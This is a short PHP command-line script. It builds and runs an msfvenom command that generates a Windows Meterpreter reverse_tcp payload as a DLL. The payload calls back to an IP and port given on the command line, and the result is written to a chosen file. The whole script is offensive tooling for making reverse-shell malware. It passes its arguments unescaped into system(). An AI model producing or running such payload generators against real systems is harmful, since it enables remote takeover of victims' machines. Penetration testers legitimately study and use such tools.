<?php

$count =$argc;
//echo $count;
if($count != 5){


 exit("sorry you must give like this  x86 192.168.0.1 5555 test.dll") ;
}


$version =$argv[1];
$ip = $argv[2];
$port = $argv[3];
$fullpath = $argv[4];
if($version === "x64"){
	$version ="x64/";
}else{
	$version ="";
}
    $cmd = "msfvenom -p windows/".$version."meterpreter/reverse_tcp LHOST=".$ip." LPORT=".$port." -f dll > ".$fullpath;

system($cmd);
